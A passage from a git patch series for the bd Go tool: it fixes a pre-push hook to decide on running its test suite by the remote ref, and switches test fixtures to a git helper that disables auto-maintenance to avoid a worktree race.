!reflect.DeepEqual(got, checkout) { + t.Errorf("the symlink forest yields different Bazel files than the checkout:\nforest %d: %v\ncheckout %d: %v", len(got), got, len(checkout), checkout) + } +} + // Review G3: since D2 the retired tiers' Bazel lanes (embedded, proxied, // server-storage) are those tiers' only pre-merge run on same-repo PRs, so // nothing that reaches them may narrow them (select fewer tests, or turn @@ -960,20 +1042,7 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { tagsRe := regexp.MustCompile(`(?ms)^ tags = \[(.*?)\],$`) envRe := regexp.MustCompile(`(?ms)^ env = \{(.*?)\},$`) got := map[string]target{} - err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { - if err != nil { - return err - } - if d.IsDir() { - switch d.Name() { - case ".git", "node_modules", ".beads": - return filepath.SkipDir - } - return nil - } - if d.Type()&os.ModeSymlink != 0 || (d.Name() != "BUILD.bazel" && d.Name() != "BUILD") { - return nil - } + err := walkBazelFiles(root, false, func(path string, d os.DirEntry) error { data, err := os.ReadFile(path) if err != nil { return err @@ -1030,21 +1099,8 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { "-required-suite=doc-freshness", }, } - err = filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { - if err != nil { - return err - } - if d.IsDir() { - switch d.Name() { - case ".git", "node_modules", ".beads": - return filepath.SkipDir - } - return nil - } + err = walkBazelFiles(root, true, func(path string, d os.DirEntry) error { isBzl := strings.HasSuffix(d.Name(), ".bzl") - if d.Type()&os.ModeSymlink != 0 || (d.Name() != "BUILD.bazel" && d.Name() != "BUILD" && !isBzl) { - return nil - } data, err := os.ReadFile(path) if err != nil { return err From 2e6289f9fbf266a3396c7d17369237d8089cf717 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 07:49:57 +0000 Subject: [PATCH 054/213] fix(hooks): key the push-time suite on the remote ref, never on the local ref's shape (#7352) Since #7348 the pre-push hook ran scripts/pre-push-suite.sh only for stdin lines whose local ref matched refs/heads/*. For `git push origin HEAD` and `HEAD:refs/heads/x` git passes the literal local ref HEAD, so the suite never ran for those pushes: a Go change pushed that way landed with an empty bazel log, while the same change pushed as `git push origin br1` was refused. The hook now skips a line when the remote ref is refs/tags/* or the local sha is the zero sha (a deletion); everything else is a branch push, HEAD included. TestPrePushHookSuiteKeysOnRemoteRef feeds the real hook HEAD-sourced ref lines from a scratch repository with a stub suite that records whether it ran: both HEAD forms run it on a Go change; a docs-only push, a tag pushed by HEAD or by name, and a deletion do not. On main's hook the two HEAD cases fail. TestPrePushHookRunsSuiteOnlyForGoChanges indexed "pre-push-suite.sh", which the hook's header comment on line 3 also contains, so the ordering assertion held wherever the call block sat. It now indexes the call line; moving the suite block after the managed beads section fails it. Fixes #7351 Co-authored-by: Claude Fable 5.1 --- .githooks/pre-push | 11 ++- scripts/check-versions/pre_push_hook_test.go | 99 ++++++++++++++++++++ scripts/pre_push_suite_test.go | 6 +- 3 files changed, 110 insertions(+), 6 deletions(-) diff --git a/.githooks/pre-push b/.githooks/pre-push index fc57efb0b..4a20fb57d 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -61,12 +61,15 @@ fi # `bazel test //... --config=ci`, for branch pushes whose new commits change # Go or Bazel inputs. A tag push, a deletion, or a docs-only push skips it. # BD_PREPUSH_SUITE=go runs plain go test instead, under a banner. +# +# The decision keys on the remote ref and the shas, never on the local ref's +# shape: for `git push origin HEAD` and `HEAD:refs/heads/x` git passes the +# literal local ref `HEAD`, which a `refs/heads/*` match would skip (#7351). zero_sha=0000000000000000000000000000000000000000 suite_needed=0 -while read -r local_ref local_sha _remote_ref remote_sha; do - case "$local_ref" in - refs/heads/*) ;; - *) continue ;; +while read -r _local_ref local_sha remote_ref remote_sha; do + case "$remote_ref" in + refs/tags/*) continue ;; esac if [ "$local_sha" = "$zero_sha" ] || ! git cat-file -e "$local_sha^{commit}" 2>/dev/null; then continue diff --git a/scripts/check-versions/pre_push_hook_test.go b/scripts/check-versions/pre_push_hook_test.go index 573f32aec..de6f60647 100644 --- a/scripts/check-versions/pre_push_hook_test.go +++ b/scripts/check-versions/pre_push_hook_test.go @@ -140,6 +140,105 @@ func TestPrePushHookDriftRefusalPointsAtCheckerRemedy(t *testing.T) { } } +// The push-time suite decision keys on the remote ref and the shas, never on +// the local ref's shape: for `git push origin HEAD` and `HEAD:refs/heads/x` +// git passes the literal local ref `HEAD`, which a `refs/heads/*` match +// skipped (#7351). A scratch repository stands in for the checkout and a stub +// scripts/pre-push-suite.sh records whether the hook decided to run it, so +// this also runs under Bazel. +func TestPrePushHookSuiteKeysOnRemoteRef(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Windows does not provide the oldest supported /bin/bash") + } + + const bash = "/bin/bash" + if _, err := os.Stat(bash); err != nil { + t.Skipf("system Bash unavailable: %v", err) + } + git, err := exec.LookPath("git") + if err != nil { + t.Fatalf("git is required to exercise the pre-push hook: %v", err) + } + + hook := filepath.Join(bazeltest.RepoRoot(t), ".githooks", "pre-push") + scratch := t.TempDir() + suiteLog := filepath.Join(scratch, "suite.log") + stub := "#!/bin/sh\nprintf 'ran\\n' >> '" + suiteLog + "'\n" + if err := os.MkdirAll(filepath.Join(scratch, "scripts"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(scratch, "scripts", "pre-push-suite.sh"), []byte(stub), 0o755); err != nil { + t.Fatal(err) + } + + gitIn := func(args ...string) string { + t.Helper() + cmd := exec.Command(git, append([]string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"}, args...)...) + cmd.Dir = scratch + cmd.Env = append(os.Environ(), + "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL="+os.DevNull, + "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@example.com", + "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@example.com", + ) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + return strings.TrimSpace(string(out)) + } + commit := func(name, message string) string { + t.Helper() + if err := os.WriteFile(filepath.Join(scratch, name), []byte(name+"\n"), 0o644); err != nil { + t.Fatal(err) + } + gitIn("add", name) + gitIn("commit", "-q", "-m", message) + return gitIn("rev-parse", "HEAD") + } + gitIn("init", "-q", "-b", "main") + docsBase := commit("README.md", "docs base") + goChange := commit("change.go", "a Go change") + docsOnly := commit("NOTES.md", "a docs-only change") + // A new remote branch is compared against main's merge-base. + gitIn("update-ref", "refs/remotes/origin/main", docsBase) + + const zero = "0000000000000000000000000000000000000000" + for _, tc := range []struct { + name string + line string + ran bool + }{ + {"git push origin HEAD (existing branch)", "HEAD " + goChange + " refs/heads/x " + docsBase, true}, + {"git push origin HEAD:refs/heads/x (new branch)", "HEAD " + goChange + " refs/heads/x " + zero, true}, + {"git push origin x (branch-named local ref)", "refs/heads/x " + goChange + " refs/heads/x " + docsBase, true}, + {"docs-only push", "HEAD " + docsOnly + " refs/heads/x " + goChange, false}, + {"tag push by HEAD", "HEAD " + goChange + " refs/tags/t " + zero, false}, + {"tag push", "refs/tags/t " + goChange + " refs/tags/t " + zero, false}, + {"branch deletion", "refs/heads/x " + zero + " refs/heads/x " + goChange, false}, + } { + t.Run(tc.name, func(t *testing.T) { + if err := os.RemoveAll(suiteLog); err != nil { + t.Fatal(err) + } + command := exec.Command(bash, hook, "origin", "https://example.invalid/repo.git") + command.Dir = scratch + command.Env = append(os.Environ(), "PATH="+filepath.Dir(git)+":/bin:/usr/bin") + command.Stdin = strings.NewReader(tc.line + "\n") + if output, err := command.CombinedOutput(); err != nil { + t.Fatalf("pre-push hook on %q: %v\n%s", tc.line, err, output) + } + _, err := os.Stat(suiteLog) + ran := err == nil + if !ran && !errors.Is(err, os.ErrNotExist) { + t.Fatal(err) + } + if ran != tc.ran { + t.Errorf("suite ran = %v on %q, want %v", ran, tc.line, tc.ran) + } + }) + } +} + // fakeGoBuildDir returns a directory holding a stand-in `go` whose `build ... // -o OUT ...` copies the Bazel-built checker (BEADS_TEST_CHECK_VERSIONS) to // OUT, for check-versions.sh under Bazel, where there is no module checkout diff --git a/scripts/pre_push_suite_test.go b/scripts/pre_push_suite_test.go index 9e4a96703..172df23a3 100644 --- a/scripts/pre_push_suite_test.go +++ b/scripts/pre_push_suite_test.go @@ -141,7 +141,7 @@ func TestPrePushHookRunsSuiteOnlyForGoChanges(t *testing.T) { body := readPolicyFile(t, sourceRepoRoot(t), ".githooks/pre-push") for _, want := range []string{ `"$repo_root/scripts/pre-push-suite.sh" managed { t.Errorf(".githooks/pre-push must run the suite before the managed beads section") } From 3571331b50e272e7ee5bb664758a898e2f594d5d Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:01:46 +0000 Subject: [PATCH 055/213] test: fixtures commit with maintenance.auto=false before every git worktree add (wy-7ocweu) (#7358) Fixes #7349. The same race #7314 closed in internal/beads and internal/config, in the fixtures it did not cover: a fixture's plain `git commit` spawns the detached `git maintenance run --auto` child, whose worktree-prune races the fixture's next `git worktree add` and deletes .git/worktrees//locked under it (seen on PR #7312 run 37585997441, cmd/bd Dolt-server tier shard 4/16, TestBootstrap_WorktreeFallbackDir). One noAutoMaintenance + gitCommand(args...) helper per test package, each in an existing untagged shared test file (cmd/bd/helpers_test.go, doctor/git_test_helpers_test.go, doctor/fix/common_test.go, formula/parser_test.go, git/gitdir_test.go, storage/domain/git/git_test.go; cmd/bd/test_helpers_test.go is //go:build cgo so unusable for the pure lane), and every inline exec.Command("git", ...) in those six packages swapped for it. The flags ride the command line, never env config: the routing-key scrub drops env config. No new files, so no BUILD.bazel rows. Proof: GIT_TRACE on `go test ./cmd/bd -run TestBootstrap_WorktreeFallbackDir` counts 3 `maintenance run --auto` spawns at d8d8bf587b and 0 with this change. Co-authored-by: Claude Fable 5.1 --- cmd/bd/actor_test.go | 3 +- cmd/bd/backup_test.go | 7 ++- cmd/bd/bootstrap_embedded_test.go | 18 ++++---- cmd/bd/bootstrap_worktree_test.go | 19 ++++---- cmd/bd/completions_test.go | 7 ++- cmd/bd/config_proxied_integration_test.go | 3 +- cmd/bd/config_show_test.go | 3 +- cmd/bd/config_test.go | 15 +++--- cmd/bd/config_worktree_test.go | 13 +++--- cmd/bd/context_binding_test.go | 7 ++- cmd/bd/contributor_embedded_test.go | 2 +- cmd/bd/create_embedded_test.go | 2 +- cmd/bd/delete_test.go | 3 +- cmd/bd/doctor/bare_parent_fallback_test.go | 3 +- cmd/bd/doctor/config_values_test.go | 7 ++- cmd/bd/doctor/database_test.go | 3 +- cmd/bd/doctor/doctor_worktree_test.go | 7 ++- cmd/bd/doctor/dolt_e2e_test.go | 2 +- cmd/bd/doctor/fix/common_test.go | 12 +++++ cmd/bd/doctor/fix/fix_test.go | 9 ++-- cmd/bd/doctor/fix/git_repo_template_test.go | 9 ++-- cmd/bd/doctor/fix/hooks_test.go | 7 ++- cmd/bd/doctor/fix/metadata_dolt_test.go | 3 +- cmd/bd/doctor/git_hygiene_test.go | 3 +- cmd/bd/doctor/git_repo_template_test.go | 9 ++-- cmd/bd/doctor/git_test.go | 3 +- cmd/bd/doctor/git_test_helpers_test.go | 12 +++++ cmd/bd/doctor/gitignore_test.go | 19 ++++---- cmd/bd/doctor/hooks_migration_test.go | 3 +- cmd/bd/doctor/hooks_path_test.go | 7 ++- cmd/bd/doctor/role_test.go | 9 ++-- cmd/bd/doctor/tracked_runtime_test.go | 13 +++--- cmd/bd/dolt_autocommit_integration_test.go | 4 +- .../dolt_remote_origin_guard_embedded_test.go | 2 +- cmd/bd/dolt_remote_origin_guard_test.go | 3 +- .../dolt_remote_reset_data_embedded_test.go | 3 +- cmd/bd/explicit_db_nodb_test.go | 6 +-- cmd/bd/export_auto_test.go | 34 +++++++------- cmd/bd/git_repo_template_test.go | 9 ++-- cmd/bd/helpers_test.go | 12 +++++ cmd/bd/hooks_export_staged_deletion_test.go | 7 ++- cmd/bd/hooks_export_worktree_test.go | 4 +- cmd/bd/hooks_guard_test.go | 18 ++++---- cmd/bd/hooks_worktree_test.go | 46 +++++++++---------- cmd/bd/init_cancel_e2e_test.go | 2 +- cmd/bd/init_embedded_test.go | 24 +++++----- cmd/bd/init_git_bootstrap_routing_test.go | 5 +- cmd/bd/init_hooks_test.go | 33 +++++++------ cmd/bd/init_proxied_server_test.go | 13 +++--- cmd/bd/init_role_environment_test.go | 7 ++- cmd/bd/init_role_routing_test.go | 4 +- cmd/bd/init_stealth_test.go | 21 ++++----- cmd/bd/init_test.go | 20 ++++---- cmd/bd/init_worktree_test.go | 19 ++++---- cmd/bd/migrate_hooks_apply_test.go | 3 +- cmd/bd/migrate_personal_test.go | 8 ++-- cmd/bd/orphans_proxied_integration_test.go | 3 +- cmd/bd/prime_embedded_test.go | 2 +- cmd/bd/rename_prefix_worktree_test.go | 7 ++- cmd/bd/reset_worktree_test.go | 19 ++++---- cmd/bd/sync_git_test.go | 3 +- cmd/bd/sync_remote_test.go | 3 +- cmd/bd/test_helpers_pure_test.go | 4 +- cmd/bd/test_repo_beads_guard_test.go | 2 +- cmd/bd/test_wait_helper_test.go | 11 ++--- cmd/bd/uninstall_config_test.go | 14 +++--- cmd/bd/user_config_path_windows_test.go | 4 +- cmd/bd/worktree_cmd_test.go | 11 ++--- cmd/bd/worktree_remove_test.go | 4 +- cmd/bd/worktree_test.go | 14 +++--- internal/formula/parser_test.go | 15 +++++- internal/git/gitdir_test.go | 25 +++++++--- internal/storage/domain/git/git_test.go | 19 ++++++-- 73 files changed, 367 insertions(+), 342 deletions(-) diff --git a/cmd/bd/actor_test.go b/cmd/bd/actor_test.go index 4e0e1d1fc..d7efa7fc3 100644 --- a/cmd/bd/actor_test.go +++ b/cmd/bd/actor_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "strings" "testing" @@ -40,7 +39,7 @@ func TestGetActorWithGit(t *testing.T) { // Helper to get current git user.name (may be empty if not configured) getGitUserName := func() string { - out, err := exec.Command("git", "config", "user.name").Output() + out, err := gitCommand("config", "user.name").Output() if err != nil { return "" } diff --git a/cmd/bd/backup_test.go b/cmd/bd/backup_test.go index c012a4349..a1f38efa5 100644 --- a/cmd/bd/backup_test.go +++ b/cmd/bd/backup_test.go @@ -5,7 +5,6 @@ package main import ( "encoding/json" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -102,7 +101,7 @@ func TestBackupDir_UsesWorktreeFallback(t *testing.T) { run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -119,13 +118,13 @@ func TestBackupDir_UsesWorktreeFallback(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/bootstrap_embedded_test.go b/cmd/bd/bootstrap_embedded_test.go index 3b72b6aab..41a028802 100644 --- a/cmd/bd/bootstrap_embedded_test.go +++ b/cmd/bd/bootstrap_embedded_test.go @@ -110,13 +110,13 @@ func TestEmbeddedBootstrap(t *testing.T) { t.Run("bootstrap_dry_run_fresh", func(t *testing.T) { dir := t.TempDir() - cmd := exec.Command("git", "init", "-q") + cmd := gitCommand("init", "-q") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.name", "Test") + cmd = gitCommand("config", "user.name", "Test") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.email", "test@test.com") + cmd = gitCommand("config", "user.email", "test@test.com") cmd.Dir = dir cmd.CombinedOutput() // Create .beads with metadata.json so FindBeadsDir detects it @@ -134,13 +134,13 @@ func TestEmbeddedBootstrap(t *testing.T) { t.Run("bootstrap_init", func(t *testing.T) { dir := t.TempDir() - cmd := exec.Command("git", "init", "-q") + cmd := gitCommand("init", "-q") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.name", "Test") + cmd = gitCommand("config", "user.name", "Test") cmd.Dir = dir cmd.CombinedOutput() - cmd = exec.Command("git", "config", "user.email", "test@test.com") + cmd = gitCommand("config", "user.email", "test@test.com") cmd.Dir = dir cmd.CombinedOutput() beadsDir := filepath.Join(dir, ".beads") @@ -176,13 +176,13 @@ func TestEmbeddedBootstrap(t *testing.T) { // Create new dir with .beads + issues.jsonl but no database dir := t.TempDir() - gitCmd := exec.Command("git", "init", "-q") + gitCmd := gitCommand("init", "-q") gitCmd.Dir = dir gitCmd.CombinedOutput() - gitCmd = exec.Command("git", "config", "user.name", "Test") + gitCmd = gitCommand("config", "user.name", "Test") gitCmd.Dir = dir gitCmd.CombinedOutput() - gitCmd = exec.Command("git", "config", "user.email", "test@test.com") + gitCmd = gitCommand("config", "user.email", "test@test.com") gitCmd.Dir = dir gitCmd.CombinedOutput() destBeads := filepath.Join(dir, ".beads") diff --git a/cmd/bd/bootstrap_worktree_test.go b/cmd/bd/bootstrap_worktree_test.go index 239fb7766..ef11995cd 100644 --- a/cmd/bd/bootstrap_worktree_test.go +++ b/cmd/bd/bootstrap_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -24,7 +23,7 @@ func TestBootstrap_WorktreeFallbackDir(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -42,13 +41,13 @@ func TestBootstrap_WorktreeFallbackDir(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -111,7 +110,7 @@ func TestBootstrap_WorktreeLocalBeadsPreferLocal(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -127,13 +126,13 @@ func TestBootstrap_WorktreeLocalBeadsPreferLocal(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -181,7 +180,7 @@ func TestBootstrap_WorktreeNoBeadsAnywhereStillPointsToMainRepo(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -197,13 +196,13 @@ func TestBootstrap_WorktreeNoBeadsAnywhereStillPointsToMainRepo(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/completions_test.go b/cmd/bd/completions_test.go index 6d8605302..5b16e7bb6 100644 --- a/cmd/bd/completions_test.go +++ b/cmd/bd/completions_test.go @@ -5,7 +5,6 @@ package main import ( "context" "os" - "os/exec" "path/filepath" "testing" "time" @@ -245,7 +244,7 @@ func TestIssueIDCompletion_UsesWorktreeFallbackWhenStoreNil(t *testing.T) { run := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -262,13 +261,13 @@ func TestIssueIDCompletion_UsesWorktreeFallbackWhenStoreNil(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/config_proxied_integration_test.go b/cmd/bd/config_proxied_integration_test.go index 5a33af44a..745142fc0 100644 --- a/cmd/bd/config_proxied_integration_test.go +++ b/cmd/bd/config_proxied_integration_test.go @@ -8,7 +8,6 @@ import ( "encoding/json" "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -266,7 +265,7 @@ func TestProxiedServerConfig(t *testing.T) { t.Errorf("beads.role set should not advance HEAD: before=%s after=%s", before, after) } - gitCmd := exec.Command("git", "config", "--get", "beads.role") + gitCmd := gitCommand("config", "--get", "beads.role") gitCmd.Dir = p.dir out, err := gitCmd.Output() if err != nil { diff --git a/cmd/bd/config_show_test.go b/cmd/bd/config_show_test.go index 9d4408f4c..bdad92519 100644 --- a/cmd/bd/config_show_test.go +++ b/cmd/bd/config_show_test.go @@ -3,7 +3,6 @@ package main import ( "encoding/json" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -454,7 +453,7 @@ func TestCollectGitConfigEntriesIgnoresInheritedRouting(t *testing.T) { pinJSONOutput(t, false) runGit := func(t *testing.T, repo string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { diff --git a/cmd/bd/config_test.go b/cmd/bd/config_test.go index 03435d498..197c98c3a 100644 --- a/cmd/bd/config_test.go +++ b/cmd/bd/config_test.go @@ -5,7 +5,6 @@ package main import ( "context" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -221,14 +220,14 @@ func TestBeadsRoleGitConfig(t *testing.T) { tmpDir := newGitRepo(t) t.Run("set contributor role writes to git config", func(t *testing.T) { - cmd := exec.Command("git", "config", "beads.role", "contributor") + cmd := gitCommand("config", "beads.role", "contributor") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config set failed: %v", err) } // Verify it's readable from git config - cmd = exec.Command("git", "config", "--get", "beads.role") + cmd = gitCommand("config", "--get", "beads.role") cmd.Dir = tmpDir output, err := cmd.Output() if err != nil { @@ -240,13 +239,13 @@ func TestBeadsRoleGitConfig(t *testing.T) { }) t.Run("set maintainer role writes to git config", func(t *testing.T) { - cmd := exec.Command("git", "config", "beads.role", "maintainer") + cmd := gitCommand("config", "beads.role", "maintainer") cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("git config set failed: %v", err) } - cmd = exec.Command("git", "config", "--get", "beads.role") + cmd = gitCommand("config", "--get", "beads.role") cmd.Dir = tmpDir output, err := cmd.Output() if err != nil { @@ -275,7 +274,7 @@ func TestBeadsRoleCommandsIgnoreInheritedGitRouting(t *testing.T) { pinJSONOutput(t, false) runGit := func(t *testing.T, repo string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() @@ -406,7 +405,7 @@ func TestBeadsRoleWritesUseFreshCommonConfig(t *testing.T) { t.Setenv(key, home) } run := func(dir string, args ...string) string { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -1155,7 +1154,7 @@ func TestBeadsRoleWriteErrorsRetainGitDiagnostics(t *testing.T) { repo := newGitRepo(t) t.Chdir(repo) run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) out, err := cmd.CombinedOutput() require.NoError(t, err, "%s", out) } diff --git a/cmd/bd/config_worktree_test.go b/cmd/bd/config_worktree_test.go index 6dfe48f5e..21a8eb01e 100644 --- a/cmd/bd/config_worktree_test.go +++ b/cmd/bd/config_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -23,7 +22,7 @@ func TestFindBeadsRepoRoot_WorktreeFallback(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -41,13 +40,13 @@ func TestFindBeadsRepoRoot_WorktreeFallback(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -97,7 +96,7 @@ func TestBeadsPollutionCheck_WorktreeSkips(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -115,13 +114,13 @@ func TestBeadsPollutionCheck_WorktreeSkips(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/context_binding_test.go b/cmd/bd/context_binding_test.go index 07e2f3338..5d23bc304 100644 --- a/cmd/bd/context_binding_test.go +++ b/cmd/bd/context_binding_test.go @@ -4,7 +4,6 @@ import ( "context" "io" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -32,12 +31,12 @@ func initGitRepoForContextTest(t *testing.T, dir string) { if err := os.MkdirAll(dir, 0o755); err != nil { t.Fatalf("mkdir repo: %v", err) } - cmd := exec.Command("git", "init", "--quiet") + cmd := gitCommand("init", "--quiet") cmd.Dir = dir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init: %v\n%s", err, output) } - cmd = exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd = gitCommand("config", "core.hooksPath", ".git/hooks") cmd.Dir = dir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config hooks: %v\n%s", err, output) @@ -201,7 +200,7 @@ func TestDetectUserRoleForActiveRepoUsesSelectedBeadsDir(t *testing.T) { targetBeadsDir := filepath.Join(targetDir, ".beads") writeTestConfigYAML(t, targetBeadsDir, "") - cmd := exec.Command("git", "config", "beads.role", "maintainer") + cmd := gitCommand("config", "beads.role", "maintainer") cmd.Dir = targetDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git config beads.role: %v\n%s", err, output) diff --git a/cmd/bd/contributor_embedded_test.go b/cmd/bd/contributor_embedded_test.go index 7799c93ed..71d31c0a5 100644 --- a/cmd/bd/contributor_embedded_test.go +++ b/cmd/bd/contributor_embedded_test.go @@ -109,7 +109,7 @@ func initContributor(t *testing.T, bd, prefix string) (projectDir, planningDir s requireFile(t, planningBeadsDir) // Sanity: beads.role should be "contributor". - roleCmd := exec.Command("git", "config", 